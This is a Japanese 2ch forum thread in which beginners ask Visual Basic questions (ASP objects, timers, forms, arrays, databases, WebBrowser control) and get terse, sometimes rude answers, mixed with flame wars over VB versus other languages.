■■■VB初心者質問スレ■■■
レス数が900を超えています。1000を超えると表示できなくなるよ。
0001VB初心者代表
NGNG0002VB初心者代表
NGNGオブジェクトの使い方を教えてください。具体的には
VBスクリプトでASPを作っていたんですが、その一
部をVBのDLLにすることになったんです。そこで、
ASPの組み込みオブジェクト Session("userid")の
ような構文が使えなくなってしまいました。(コンパ
イルエラーになります)参照設定はMicrosoft Active
Server Pages Object Liblaryにしてあり、オブジェク
トブラウザにも表示されるんですが。
上級者の皆様、ぜひお願いします。
0003名無しさん＠お腹いっぱい。
NGNG初心者なら初心者らしいプログラム作ってください！
0004名無しさん＠お腹いっぱい。
NGNG探しても見つかりませんでした。
0005名無しさん＠お腹いっぱい。
NGNGもっといっしょうけんめいさがしてください
さがしかたがたりないだけです
00064
NGNGわかりました。夢精するほどのレベルで探してみます。
0007名無しさん＠お腹いっぱい。
NGNG何もテクニカルな話が出てこないなあ・・・
もう終わってるのか？
0008名無しさん＠ぎこぎこのり
NGNGをなんとかVBで使いたいのですが
なんかいい方法は無いでしょうか・・
サポートされないとか出るんです
0009四流プログラマー
NGNGオフコンのデータをコード上でＰＣのオラクルに移す方法を教えてください。
(FDで受け渡しする方法以外で)できるなら、必要な機材(ﾂｰﾙも)も教えてください。
環境
PCとｵﾌｺﾝの間は、LANのようなローカル接続です。
0010名無しさん＠お腹いっぱい。
NGNGマジレスする。あんたには無理だ。上司にそう言え。
だがあんまりにも哀れなので、少し書いておく。
まず、PCからオフコンがどのように見えているのかを書け。
見えてないならその時点で無理だ。
多分PCは端末エミュなのだと思うが、そうするとオフコンのOSの
オペレーションが分からないとどうにもならん。
そのオフコンのマニュアルを手に入れろ。これも無理だろうが。
オフコンの開発連中はOSやハードの知識がほとんどない。
運用部門が別にあるからな。だから聞いても無駄だ。
（このあたりは個人的な知識なので実情は知らん。まわりのCOBOLerはそうだった）
次にそのオフコンの文字コードをShift-jisに変換できるかどうか。
普通は端末エミュの機能としてあるか、ソフトが売っている。
無論ソフトはメーカー製でばかみたいな値段をつける。
ようするに、Winのファイルに落とした後でないとあんたの出番はない。
固定長のファイルが得られたら、あとはVBでもなんでもつかえ。
いくらなんでもSQLぐらいは知ってるんだろ？
もし少しでもこの書き込みが役に立ってありがたいと思うなら、
よそのスレで書き込むのはもうやめろ。
そして、もう少し細かい状況を書け。
このスレとは関係ないが、このスレも半分終わってるから勘弁してやってほしい。
一番よいと思うことを再度書く。
あんたには無理だ。上司にそう言え。
言ったら忘れずに「上司に言いました」と書き込めよ。
0011ビル・ジョブス
NGNG電源は入ってますか？じゃなくてオフコンメーカーに
ちゃんと相談しましたか？えっ、保守入ってないから
聞いてくれないって？だったらメーカーのHPから質問
しましょう！なにかミドルウェアあれば直接オフコン
からSQLで表ごと抜けるかも？
オフコン側のユーティリティーを作るのは無理だから
無かったらFDでシコシコ抜くしかないな。
以上、逝ってよし。
0012名無しさん＠お腹いっぱい。
NGNGどうする９ってドキュンだよ。。。
http://piza.2ch.net/test/read.cgi?bbs=tech&key=965916840&st=389
0013abu
NGNG①サーバ(unix)
②クライアント(Win95/DOS)
①から指示を出し、②に有るバッチを②上で実行したいのです。
NTや、unixなら、rshや、rexecがあるので、これを利用すれば、と思ったのですが
WIN95ではrsh.exe、rexec.exeは無いようです。
ソケットを扱えばどうにかなるらしいのですが、、、
どなたか良い方法を教えていただけないでしょうか？
又、どこか参考になるLINKを教えていただけないでしょうか？
0014abu
NGNG①クライアント
②サーバ
です。
0015名無しさん＠お腹いっぱい。
NGNG>ソケットを扱えばどうにかなるらしいのですが、、、
その通りです。以上
0016ビル・ジョブス
NGNG0017>13
NGNGprogram.BAT ファイルがあればそれを実行して実行後削除する
というバッチを無限ループで走らせておいて
別のパソコンから program.BATを作るというような仕掛けで
時間のかかるコンパイルをさせたりしてた。
0018ビル・ジョブス
NGNGおれは人を騙すより、騙されたほうがいい...
ちょっと無理か...
0019四流プログラマー
NGNGレスありがとうございます。
上司は三日前から、連絡途絶状態のため、報告ができません。
0020名無しさん＠お腹いっぱい。
NGNG詳しく書けといっただろ。
連絡ぐらい何とかしろ。遊んでるんじゃないんだろ。
それともネタなのか？ やっぱりネタなんだな？
今後も同じようなわけ分からん書き込みするんだったら
じゃまだからとっとと消えてくれ。たのむ。
0021名無しさん＠お腹いっぱい。
NGNG貴方の貴重な時間をこんなタコスケにかけるのは勿体無い。
もう相手をしないほうがいい。
ドキュンは次の一行を読んだら、前の行に書いてあった事を忘れるんだ。
＞言ったら忘れずに「上司に言いました」と書き込めよ。
に答えただけさ。
0022名無しさん＠お腹いっぱい。
NGNGDim lngTime1 As Long
Dim lngTime2 As Long
lngTime1 = timeGettime()
For i =1 To 10000
･･････････
Next
lngTime2 = timeGettime()
MsgBox lngTime2 - lngTime1
としているんですが,まだ正確に測定できる方法はあるでしょうか?
0023>２２
NGNGさあVBで出来るかなあ？
というか、キャッシュの内容によって違って来るから正確になんて意味ないよ
0024>22
NGNGDim lngTime3 As Long
Dim lngTime4 As Long
lngTime3 = timeGettime()
lngTime4 = timeGettime()
または１：１回ループさせたときと、10000回ループさせたときの差から計測
または２：
For i=1 To 10000
hoge ←最適化回避の命令
hoga ←測定したい処理
Next
と
For i=1 To 10000
hoge ←最適化回避の命令
Next
の差から計測
002522
NGNGDim lpperformancecount As LARGE_INTEGER
Dim lpfrequency As LARGE_INTEGER
Call QueryPerformanceCounter(lpperformancecount)
Call QueryPerformanceFrequency(lpfrequency)
lngTime1 = lpperformancecount.lowpart
Call Sleep(10秒眠れ)
Call QueryPerformanceCounter(lpperformancecount)
Call QueryPerformanceFrequency(lpfrequency)
lngTime2 = lpperformancecount.lowpart
MsgBox (lngTime2 - lngTime1) / lpfrequency.lowpart
で10秒近い値が出たのであっていると思うのですが。
002622
NGNGPublic Type LARGE_INTEGER
lowpart As Long
highpart As Long
End Type
のhighpartのほうが何を意味しているのかわからないです。
>24
今夜か明日にでも挑戦してみます。
昨日VB6を買ってきて勉強し始めたのですが,最適化回避のしかたとかなんとかは,入門書に載ってないので,この頭で理解するのに少し時間が必要のようです
0027通りすがり
NGNGNow関数工夫すれば同じく眠れるぞ。
あまりAPIに頼るとVBのレベルも上がらなくなることを逝っておく。
0028>27
NGNG強制的にシステム改定を行わせるレベル。
http://mentai.2ch.net/test/read.cgi?bbs=prog&key=967480158
http://mentai.2ch.net/test/read.cgi?bbs=prog&key=965932785
0029abu
NGNGtelnetは対人間用仕様なので、コマンドの指示はかなり不向きだというのを
どこかで見ました。SHELLポートをたたけば、サーバ側でrshdが立ち上がって、
というところで挫折中です。(これも当たっているやら)
>15
WIN95ではだめなのでは？と、動くかどうかすら分からないオタコ状態なものだったので、
希望が持てました。ソケットを使用すればどうにかなるらしいのでがむばります。
参考になるLINKありましたら引き続きお教えください。
0030>>26
NGNG0031>abu
NGNGだったら >>17の方法でいいんじゃないの？
0032>31
NGNGhttp://www.vector.co.jp/soft/win95/net/se037305.html?g
場合によってはお金払って買った方がいいよ
0033abu
NGNGサーバ：ｕｎｉｘ
クライアント：ｗｉｎ95
です。デーモンはunix側です。
(ぐーー私が理解出来てないのでしょうか？)
あと、17の方法結構良いとおもいます。早速検討させていただきます。
てっきり他の方へのレスだと思い込んでました。
ありがとうございます。
0034名無しさん＠お腹いっぱい。
NGNGマジ初心者の質問ですまん。
0035名無しさん＠お腹いっぱい。
NGNG0036>33
NGNG>①サーバ(unix)
>②クライアント(Win95/DOS)
>①から指示を出し、②に有るバッチを②上で実行したいのです。
ってあるけど、 という事はWin95からunixアプリを操作させたいのね？
>>15で訂正入ってるけど余計判らんぞ
0037名無しさん＠お腹いっぱい。
NGNGセキュリティを無視していいみたいなのでサーバ上でWebサーバを
立ち上げてCGIでコマンド実行させれば、telnetをしゃべるより楽だよ
0038名無しさん＠お腹いっぱい。
NGNGオブジェクト指向なら、クラス変数にするでしょ？
でも、ＶＢやってると、何時までも初心者で、オブジェクト指向に辿り着けないそう
http://mentai.2ch.net/test/read.cgi?bbs=prog&key=968585064
0039名無しさん＠お腹いっぱい。
NGNG何も知らないまま、ＣナントカやＪナントカ使ってオブジェクト指向気取り
してる人より将来性は有りますよ。
0040名無しさん＠お腹いっぱい。
NGNGstrHoge(1) = txtHoge(1).text
strHoge(2) = txtHoge(2).text
などの処理は,配列が何個くらいから
For～NEXT使った方がいいのでしょうか?
少ない回数位なら上記でかまわないと個人的には思うんですけど,配列何個くらいから,FOR～NEXTの方が処理速度が優勢になるんでしょうか？
0041>40
NGNGところで、定数回数のループだよね？（可変回数のループは展開できないし）
004241>40
NGNG記述が面倒になったら。（藁
0043名無しさん＠お腹いっぱい。
NGNGループの方が速いんじゃなかったっけ？
0044名無しさん＠お腹いっぱい。
NGNG俺もそうしてる
端数ループ、定数回ループ、端数回ループとやるのが基本
004544
NGNG0046abu
NGNGはは、本当だ。とても分かりづらい。上手く書けてなくてすみません。
>37
はい。セキュリティは無視できます。
CGIも考えたのですが、webサーバが無く、又、サーバーの内部構成を変えたくないとの事した。
0047名無しさん＠お腹いっぱい。
NGNG0048名無しさん＠お腹いっぱい。
NGNG0049名無しさん＠お腹いっぱい。
NGNG0050名無しさん＠お腹いっぱい。
NGNG0051名無しさん＠お腹いっぱい。
NGNGデータベースと連結して使用するとき皆さんはどうしてますか？
Nullを使用しないといけないときは使用しませんか？
でも同様にTextboxも弾かれるんですけど
Nullは使うなってことなのかな？
でもNullが無いと困りませんかね
0052マジレス
NGNG①ISDN回線の2回線をパソコンの画面で制御できる。
②TAのリダイアル規制をはずして1分間に50回以上リダイアルできる
③1つの番号が混んでいたら他の予備に登録した番号をどんどんかけていく。
④つながったら、電話機で話ができる
このようなプログラムがわかる人いますか？
わかる人がいたら教えてください
0053名無しさん＠お腹いっぱい。
NGNGボタンを押したらそのフォームを閉じて別のフォームを画面上に開くようにしたいのですが、
どのようなコードを書けば良いでしょう。
dim なんとかだとタスクバーに入って不便です。
0054名無しさん＠お腹いっぱい。
NGNG#MainなのにSubとはこれいかに。
005553
NGNG0056名無しさん＠お腹いっぱい。
NGNGsub command1_click()
form2.show
unload me
end sub
でだめ？
005753
NGNGありがとうございます。これで問題解決です！ 感謝！
0058名無しさん＠お腹いっぱい。
NGNGPUBLIC G_GAMEN_ID AS STRING
PUBLIC SUB MAIN
SELECT CASE GAMEN_ID
CASE "GAMEN01"
FORM1.SHOW
CASE "GAMEN02"
FORM2.SHOW
END SELECT
END SUB
'FORM1.FRM
SUB COMMAND1_CLICK()
G_GAMEN_ID = "GAMEN02"
ME.HIDE
END SUB
0059名無しさん＠お腹いっぱい。
NGNG0060名無しさん＠お腹いっぱい。
NGNGオリジナルのプレイヤーを作る方法がわかりません。
どっかに情報があるらしいけど みつからない･･･
サンプルプログラムのソース、知りませんか
0061名無しさん＠お腹いっぱい。
NGNG0062名無しさん＠お腹いっぱい。
NGNG0063(ﾟ∀ﾟ)
NGNG0064名無しさん＠お腹いっぱい。
NGNG0065魁！名無しさん
NGNG0066名無しさん＠お腹いっぱい。
NGNG0067名無しさん＠お腹いっぱい。
NGNG・条件Ａが真の時、かつ条件Ｂが真の時には、処理Ｘを行う。
・それ以外の条件の時は、処理Ｙを行う。
・どちらの場合も、そのあと処理Ｚを行う。
・どの処理も関数化が困難である。
（大量のプロシージャ内のスコープを持つ変数を使用するなど）
・但し条件Ｂは条件Ａが真の場合のみ評価できる。
（If 条件Ａ And 条件Ｂ Then →例外が発生する）
どのような構造でコーディングするのが最も良いと思いますか？
処理Ｘ、処理Ｙともに数行のコーディングの場合は？
処理Ｘ、処理Ｙともに数十行のコーディングの場合は？
処理Ｘ、処理Ｙともに数百行のコーディングの場合は？
参考１）－－－－－－－－－－－－－－－
If 条件Ａ Then
If 条件Ｂ Then
処理Ｘ
Else
処理Ｙ
End If
Else
処理Ｙ
End If
処理Ｚ
参考２）－－－－－－－－－－－－－－－
Dim blnX As Boolean
blnX = False
If 条件Ａ Then
If 条件Ｂ Then
blnX = True
End If
End If
If blnX Then
処理Ｘ
Else
処理Ｙ
End If
処理Ｚ
参考３）－－－－－－－－－－－－－－－
If 条件Ａ Then
If 条件Ｂ Then
Goto X_P
End If
End If
処理Ｙ
Goto Exit_P
X_P:
処理Ｘ
Exit_P:
処理Ｚ
参考４）－－－－－－－－－－－－－－－
If 条件Ａ Then
If 条件Ｂ Then
Gosub X_SUB
Else
Gosub Y_SUB
End If
Else
Gosub Y_SUB
End If
処理Ｚ
---------------Exit
X_SUB:
処理Ｘ
Return
Y_SUB:
処理Ｙ
Return
0068名無しさん＠お腹いっぱい。
NGNG0069゜Д゜メ
NGNG0070>68
NGNG0071名無しさん＠お腹いっぱい。
NGNG0073＞７２
NGNG0074>72
NGNGRubyよりVBのがまだましって気がする。
mule+gdb+いろいろがVisual Studioより
開発しやすいとはとても思えないんだけど。
早くKylixでないかな。
0075>69
NGNG0076>74
NGNG007776
NGNG0078名無しさんi486
NGNGなんもいいがこれは納得できん。
PerlがVBに勝てるとこを逝ってくれ。
0079名無しさんiAPX432
NGNG0080名無しさん＠お腹いっぱい。
NGNGプログラマー人口が多いので取りあえず人がかき集められる
とこ。＜ほとんど初心者の域を出ない者ばかりだが
0081>79
NGNG0082名無しさん＠お腹いっぱい。
NGNGCGIぐらいしかまともに作れないRubyに比べて、VBはちゃんとした
アプリケーションを作れますよ。
0083名無しさん＠お腹いっぱい。
NGNG￣￣￣￣￣￣
意義有り。
0084名無しさん＠お腹いっぱい。
NGNGＶＢは作れる、が作れないＶＢ厨房が多すぎるだけである。
0085名無しさん＠お腹いっぱい。
NGNG0086＞85
NGNG0087名無しさん＠お腹いっぱい。
NGNG0088ぎこるび
NGNG開発環境とWindowsGUIアプリの作りやすさはVBがはるかに上です。
で、ちゃんとしたアプリが作れるかは製作者によります。
何がちゃんとしているかは知りませんが。
まあ、VBとRubyでは開発対象とするソフトウェアの性質が違いますね。
0089名無しさん＠お腹いっぱい。
NGNGそれいっちゃあ、VCもDelphiも存在意義が違うから秤にかけれないってことになっちゃうよ
>ちゃんとしたアプリが作れるかは製作者によります
製作者が成長しにくい言語のような気がする。
普通にwinアプリの基本を知っていて欲しい、文法なんて知らんでいいから。
0090名無しさん＠お腹いっぱい。
NGNGRubyとくらべてみよう。
Ａ．ＶＢは作れる、が作れないＶＢ厨房が多すぎるだけである。
Ｂ．Rubyは作れる、が作れないRuby厨房が多すぎるだけである。
Ａに異議アリか？
0091名無しさん＠お腹いっぱい。
NGNGを？ Ａ．だけ取り出して、Rubyと比べてるって？
ううむ、おれは日本語が苦手なようだ…
0092名無しさん＠お腹いっぱい。
NGNG0093名無しさん＠お腹いっぱい。
NGNG0094名無しさんi486
NGNGアレが無きゃいい言語だと思う。
0095名無しさん＠お腹いっぱい。
NGNG0096名無しさん＠お腹いっぱい。
NGNGなんだかさっぱりわからないもんで
どなたかよろしくお願いいたします
0097名無しさん＠お腹いっぱい。
NGNG住所、氏名、年齢、性別、電話番号をここに書いたら、教えなくない。
ってゆーか、市んで。
0098名無しさん＠お腹いっぱい。
NGNGなぜ？
0099月刊能力不足
NGNGCプログラムのスパゲティー化を防ぐには、
どうしたよいでしょうか？
0100９９
NGNG0101初心者代表
NGNG---
(hoge.mdb)
テーブル名：Tbl_Syurui(商品のジャンル)
フィールド：syurui_code(オートナンバー) , syurui_mei(名称)
テーブル名：Tbl_Syouhin(商品)
フィールド：syouhin_code(オートナンバー) , syouhin_mei(名称) , syurui_code
-----
・データコントロール(dtaSyurui,dtaSyouhin)
・DBグリッド(dbgSyurui,dbgSyouhin)
-----
※dbgSyuruiから目的のジャンルを選択すると、dbgSyouhinに該当の商品が表示
-----
Private Sub Form_Load()
dtaSyurui.RecordSource = "SELECT syurui_code, syurui_mei FROM Tbl_syurui ORDER BY syurui_mei"
End Sub
Private Sub dtaSyurui_RowColChange(LastRow As Variant, ByVal LastCol As Integer)
Dim strSyuruiCode As String
'種類名のコード番号を取得して代入
strSyuruiCode = Str(dtaSyurui.Recordset("syurui_code"))
'データコントロールのRecordSourceプロパティにSQL文を設定
dtaSyouhin.RecordSource = "SELECT syouhin_code , syouhin_mei , syurui_code FROM Tbl_syouhin WHERE syurui_code = " + strSyuruiCode + " ORDER BY syouhin_mei"
'リフレッシュ
dtaSyouhin.Refresh
End Sub
で、dtaSyouhin.Refreshの段階で"パラメータが少なすぎます。1を指定してください。"と怒られます。
どこで勘違いをしているのでしょうか？
0102名無しさん＠お腹いっぱい。
NGNG恥ずかしい。
ＶＢがＭ＄から離れてラショナルとかから
出ればマシになるやも。Ｍ＄以外だったらマルチプラットホーム
の可能性も出てくるし。ヘジルスバーグも思ってるだろうな・・・「現ＶＢってうんこ・・・・・・・・」
0103名無しさん＠お腹いっぱい。
NGNGSQLをRECORDSOURCEに入れる前に文字列変数にでも入れて
メッセージダイアログで確認せい！
ってゆーかいくらＶＢがまだON ERROR GOTOしかないからって
エラーハンドラぐらい書けい！
0104名無しさん＠お腹いっぱい。
NGNG0105名無しさん＠お腹いっぱい。
NGNGまともなこと書いてからあげろ。
そんなクソレス書いても誰もレスつけられん。
0106名無しさん＠お腹いっぱい。
NGNGそれで飯食ってる奴もいるって事を言いたかっただけさね。
0107名無しさん＠お腹いっぱい。
NGNG0108名無しさん＠お腹いっぱい。
NGNGウンコでも飯が食えればいいんだよ
多分・・・
0109名無しさん＠お腹いっぱい。
NGNG0110名無しさん＠お腹いっぱい。
NGNGテキストボックスを20個ぐらい用意してそれぞれ背景色等を設定するなどした場合、ＩＥ５ほどの機能まで到達できるのか？
0111名無しさん＠お腹いっぱい。
NGNGInternet ExplorerはMicrosoftの登録商標です
0112名無しさん＠お腹いっぱい。
NGNGVBごとき低劣なソフトをだすな
俺は国津慎吾だ
ばかもの
0113名無しさん＠お腹いっぱい。
NGNGいみふめ。IEのコンポーネント張り付けりゃいいじゃん。
0114>113
NGNG0115113
NGNGはあ? 自分でブラウザそのもの作るなんて事するより、IEのコンポーネント
流用しちまった方が楽やん。
いや、俺は自分でブラウザ作りたいんだという場合でも、110みたいな事
やってたら永久にできんだろ。
0116110
NGNG0117114
NGNGきっと一生かけてやるんだろ。（藁
0118名無しさんi486
NGNGconect= Excel 8.0;
DatabaseName=C:\Book1.xls
んで
RecordSourceにSheet1$が出ず、組み込み可能ではないといわれます。
win98se vb6proSP3 Excel2000
0119名無しさん＠お腹いっぱい。
NGNGlynxのソース読んで出直してこい。ネスケでもいいよ。
あ、VB使いが読めるわけねーか。すまそ。
0120名無しさん＠お腹いっぱい。
NGNG0122名無しさん＠お腹いっぱい。
NGNGRADツールの先駆けとなったのも確か。
簡単な言語は習得時間が短くバグも作りこみにくい。
VBをMSの製品だからという先入観で不当に低く評価するのはどうか。
また言うまでも無いことだが、難しい言語を扱えるからと言って
その人間が優秀とは限らない。119のような者はそれ以前に
人間性に問題がある。
0123119ではないが
NGNGそれを読み取れないのも「VB使い」の特徴。
0124名無しさん＠お腹いっぱい。
NGNGRADツールの先駆けとなったのも確か。
簡単そうに見える言語は習得したような気分になる時間が短くバグに気づきにくい。
VBをMSの製品だからという先入観で不当に高く評価するのはどうか。
0125きゃ～
NGNG0126名無しさん＠お腹いっぱい。
NGNG＞その人間が優秀とは限らない。
プログラマとしての能力を
簡単な言語「しか」扱えない人と比べたら、ねぇ。
0127123ではないが
NGNGすべてのＶＢ使いがバカにされているわけではない。
0128名無しさん＠お腹いっぱい。
NGNG社会人としての能力が高いとは限らない。
２ちゃんに書き込んでる者はそれ以前に
人間性に問題がある。
0129名無しさん＠お腹いっぱい。
NGNG0130名無しさん＠お腹いっぱい。
NGNG人間性に問題があって、プログラマとしての能力も低いわけだ。
0131名無しさん＠お腹いっぱい。
NGNG臭くて、ヲタク、女に嫌われる。
臭さを競ってどうするの？(プ
0132名無しさん＠お腹いっぱい。
NGNG>オートオマエモナー
仮運用中か？
0133名無しさん＠お腹いっぱい。
NGNGおまえら本当に低能ぞろいだな。
0134128
NGNG0135名無しさん＠お腹いっぱい。
NGNG0136名無しさん＠お腹いっぱい。
NGNG0137名無しさん＠お腹いっぱい。
NGNG0138名無しさん＠お腹いっぱい。
NGNGVBが花形で栄華を誇ってるからって。
C++みたいな既にドライバ作りしかない言語と。
Delphiみないな花形ＶＢのコンポーネント作りしかない裏方言語とは違うんだよ。
時代はJavaとC#とVBです。
早く勉強しろよ。(プ
0139名無しさん＠お腹いっぱい。
NGNG0140名無しさん＠お腹いっぱい。
NGNG何言ってるのかわからん。なぞなぞか？
>>138
面白すぎ。
0141名無しさん＠お腹いっぱい。
NGNG0142名無しさん＠お腹いっぱい。
NGNG0143名無しさん＠お腹いっぱい。
NGNG>>122 >>138 は絶妙すぎ｡
実は安置VBなんだろ
0144名無しさん＠お腹いっぱい。
NGNG競争が起こればもっとよくなると思うんですけど
0145名無しさん＠お腹いっぱい。
NGNG0146名無しさん＠お腹いっぱい。
NGNG0147名無しさん＠お腹いっぱい。
NGNGsage加担++
0148名無しさん＠お腹いっぱい。
NGNG0149名無しさん＠お腹いっぱい。
NGNG遅レスで申し訳ないが、
>>120
>lynxはぜったい参考にならんぞ。
なんで？
0150名無しさん＠お腹いっぱい。
NGNGlynx使ったことアル？
0151122
NGNGもっぱらC++Builderを使っている。
たまにVC、VB。
アンチVBではない。
C++はSTL含めてパズルみたいで面白いのだが
果たして実務的な言語として、この煩雑さは
どうなんだろうかと思うことがある。
かと言ってJavaはいまいち実用性に欠けるので
C#の登場は必然ではないか。
0153名無しさん＠お腹いっぱい。
NGNG-----
1.初期設定
2.レジストリ、又は設定ファイルからの読み込み
3.(2)での値によって処理を分岐
4.Form_Loadの処理終了
-----
という過程があった場合、
-----
Private Sub Form_Load()
(1)の処理
(2)の処理
(3)の処理
End Sub
-----
をだらだらと書くのと
-----
Private Sub Form_Load()
call (1)の処理
call (2)の処理
call (3)の処理
End Sub
-----
というように、書くのとでは、一般的にどっちがいのでしょうか?
それと、仕様書工房というソフトの体験版が手元にあるんですけど、このソフトで生成されたものを見本にしても大丈夫でしょうか?
0154名無しさん＠お腹いっぱい。
NGNG0155名無しさん＠お腹いっぱい。
NGNG…それとも独り言か？危険なやつだな。
質問だとすると、答えは「どっちでもいい、おまえの好きにしろ」と、
「まず仕様書工房のメーカー(不治痛か？)に聞け！」だよ。
忠告だが、こういう類の物は回りに使ってる奴が一人もいないなら、
やめといたほうがいいな。(藁
どうでも良いけどサゲロ。
0156名無しさん＠お腹いっぱい。
NGNG扱いが面倒だけど。
0157名無しさん＠お腹いっぱい。
NGNG0158☆
NGNG東風でしゃべりながら打つと負けてしまいます
0159名無しさん＠お腹いっぱい。
NGNGどの言語がうんこじゃないんですか？
0160名無しさん＠お腹いっぱい。
NGNGそれを使えば、荒らすことも可能なのねん♪
だから、教えてあげないのねん♪
それから、それから、馬鹿は死んでなのねん♪
0162名無しさん＠お腹いっぱい。
NGNGそうじゃなくて、必要なのは自動でマージャンやるプログラムだろ?
きみはただ喋っていれば良いのだ。
0163とんぷうべてらん
NGNG0164名無しさん＠お腹いっぱい。
NGNG0166名無しさん＠お腹いっぱい。
NGNG阿保
0167名無しさん＠お腹いっぱい。
NGNG0168名無しさん＠お腹一杯
NGNG一般的には宿題は朝のすずしいうちにやると良い
0169名無しさん＠お腹いっぱい。
NGNG関数の戻り値へ配列を格納したいのですが、できません。
例を書くと、
Private Sub Command1_Click()
Dim i as Integer '欲しい乱数の個数
i =2
//わからない場所１
End Sub
Private Function RndFnc(i As Integer) As Single
Dim sngA() As single
ReDim sngA(i) '//欲しい乱数の個数だけ配列を作る
Dim x As Integer
'欲しい数だけ乱数を作って配列へ格納
For x = 0 To i Step 1
sngA(x) = Rnd()
Next
//わからない場所2
End Function
//わからない場所１で、関数を呼び出して受け取る時に、
Dim sngRet(2) As Single
sngRet() = RndFnc(i)
と書いてみたのですが駄目でした。
//わからない場所２で、関数の戻り値に配列を格納する方法がわかりません。
どこがおかしいのでしょうか？
0170名無しさんi486
NGNGこれは出来ないね。たぶん。
動的配列はスタブの関数内で変更できないから。
特にこだわりがないのなら素直に引数にしたら？
Private Sub Command1_Click()
Dim sngA() As Single
Call RndFnc(1, sngA)
End Sub
Private Function RndFnc(i As Integer, sngA() As Single) As Boolean
ReDim sngA(i) '//欲しい乱数の個数だけ配列を作る
Dim x As Integer
'欲しい数だけ乱数を作って配列へ格納
For x = 0 To i Step 1
sngA(x) = Rnd()
Next
End Function
0171名無しさん＠お腹いっぱい。
NGNGありがとうございました。出来ました。
0172名無しさん＠お腹いっぱい。
NGNGたしかプロフェッショナル以上じゃないと作れないと聞いた事があるのですが
お願いします。（趣味程度で、シェアウエア作るのが目的で、
職業にしようとかいうわけではありません）
0173名無しさん＠お腹いっぱい。
NGNGドキュメントも読まずそんなことを聞く人間がまともなソフトを作れようはずもないので
シェアウエアにしたときの心配など無用です
0174MS信者
NGNG「ヴィジュアルベーシックを使っていると
マイクロソフトの独裁もいいかなぁぁと思うことがあります。」
それでは、質問させていただきます。一つのフォーム内でブラウザを制御して、
次のことをしたいのですが、よく分かりません。教えてください。お願いします。
1.新しいウィンドウを強制的に現在のウィンドウ（WebBrowserコントロール内)で開く。
2.WebBrowserのナビゲートと同時に、ソースの表示も更新する（ソースを表示するプログラムはできてます）。
0175MS信者
NGNGProcessed = False
としても新しいウィンドウがIE本体で開いてしまうのですが、どうしたらよいですか？
また、ブラウザコントロール内でハイパーリンクをクリックしたとき、
そのハイパーリンクの文字列はどこに格納されているのでしょうか？
教えてください。お願いします。
0176名無し娘。
NGNG0177MS信者
NGNGブラウザに渡すことは、可能です。しかし、その逆がむつかしいのです。
ただ、知識が足りないだけでしょうか？ほんのちょっとしたことで
できるなら、誰か教えてください。お願いします。
0178>176
NGNGmeは他言語での self this と同じ趣のオブジェクト変数ですね
0179名無しさん＠お腹いっぱい。
NGNGME = ピンクレディーの声の高い方×
0180子猫
NGNGたとえば、mdbﾌｧｲﾙならDAOで参照できるじゃないですか？
確かにdbfﾌｧｲﾙをｱｸｾｽに取り込んでから､DAOで参照すればいいじゃない
とは思うんですが、それだとｲﾝﾎﾟｰﾄの手間がかかるため
何とかできないかなって思いました。
あーdbfって主流なの？
えっと同じ質問をプログラム版で出して怒られちゃいました。
で、こちらに質問来ました。よろしく御願いします。
0181名無しさん＠お腹いっぱい。
NGNG拡張子 dbf って、そりゃdBASEⅢかdBASEⅣのデータファイル？
もしそうなら dBASE を起動して
use ****.dbf
copy to ****.dbf type csv
または
copy to ****.dbf type sdf
で書き出しなされ。
dBASE のファイルはインデックスとデータが混じってるから
dBASE 自体で export しないと難しいのでは？
0182子猫
NGNGそうです！そのdBASEⅢのファイルなんです。。。
何でいまどきこんなファイルを。。。愚痴・。。。
レスありがとうございます。早速試してみます。
ありがとうございました。
0183名無しさん＠お腹いっぱい。
NGNG0184名無し娘。
NGNGMe がなにかを調べたんですけど、私の持っている本には載っていませんでした。
本には Me.Show Me.Refresh が使われています。
Me.*** は他に何があるか、どんなことができるか知りたいです。
0185名無しさん＠お腹いっぱい。
NGNGまずその知り合いに聞き直せ。
0186名無しさん＠お腹いっぱい。
NGNGSetLayeredWindowAttributes
などのAPIが,APIビュアーで見当たらないのですか、APIビュアのファイルの最新版とかは、MSのサイトで配布していないんでしょうか?
0187183
NGNGその知り合いが、今精神病院に通っているので聞けそうにないです
0188MS信者
NGNG誰かレズしてください。お願いします。
0189名無しさん＠お腹いっぱい。
NGNGなんで？入院ならともかく、通ってるだけならきけるだろ？
0190>188
NGNGNewWindow
の時にｷｬﾝｾﾙフラグをTRUEにすれば、ナビゲートされない。
クリックした文字列を獲得するのは、IE5では難しい。
あえてやるなら、windowオブジェクトに対してシンクしなきゃ
だめだろうな。VBじゃむりか（ﾜﾗ
新しいウインドウを自分で開きたいなら、自分で作ってppDispに渡す。
ブラウザからソースを知りたいなら、GetLocationURL()とGetUrlCacheEntryInfo()
を使えばいい。ぼけ
0191MS信者
NGNGどうも教授ありがとうございます。本で調べても、ブラウザ関係は
後ろの方にチョコッと載ってるだけだったもので、、、。
0192名無しさん＠お腹いっぱい。
NGNGＭｅがカレントフォームインスタンスなことは分かってます？
0193名無し娘。@184
NGNGえー、そーゆーのはわかりますです
Me.Show Me.Refresh の他に何があるか、どんなことができるか知りたいです。
0194MS信者
NGNGppDispって何ですか？どうやって渡せばいいのでしょうか？
>ブラウザからソースを知りたいなら、GetLocationURL()とGetUrlCacheEntryInfo()
>を使えばいい。ぼけ
ヴィジュアルベーシックでは、使えませんでした。
0195>193
NGNG0196山内
NGNG「例」RARUTY が無効な命令を実行しました。
モジュール : OLEAUT32.DLL、アドレス : 015f:6539de4f
Registers:
EAX=80004005 CS=015f EIP=6539de4f EFLGS=00010213
EBX=0119d690 SS=0167 ESP=0075f9e0 EBP=0075f9fc
ECX=0075fa08 DS=0167 ESI=0075fa18 FS=1d27
EDX=00750003 ES=0167 EDI=00000000 GS=0000
Bytes at CS:EIP:
ff ff ff ff ff ff c1 49 81 e1 0a 00 00 80 8b c1
Stack dump:
66040cc6 005af6b4 0075fa08 0119dc20 0119d690 66004bd0 00000000 0075fa1c 6601ee9e 00000586 00000003 00000001 00000023 0119d690 005af6b4 0075fa5c
0197名無しさん＠お腹いっぱい。
NGNGＶＢそのものなの？
0198ＳＡＧＥ
NGNG俺ＶＢ使ったこと無いからよく知らんけど、ppDispは NewWindow2 イベントの第一引数。
Private object_NewWindow2 (ByVal ppDisp As Object, ByVal Cancel As Boolean)
LocationURL はブラウザコントロールのプロパティだ。
0199名無しさん＠お腹いっぱい。
NGNG0200名無しさん＠お腹いっぱい。
NGNGspy
0201MS信者
NGNGどうもありがとうございます。しかし、いろいろやってみても
新しいウィンドウで開くのを防ぐことはできても、
そのリンク先をもとのブラウザに渡して、開くことができません。
0202山内＝196
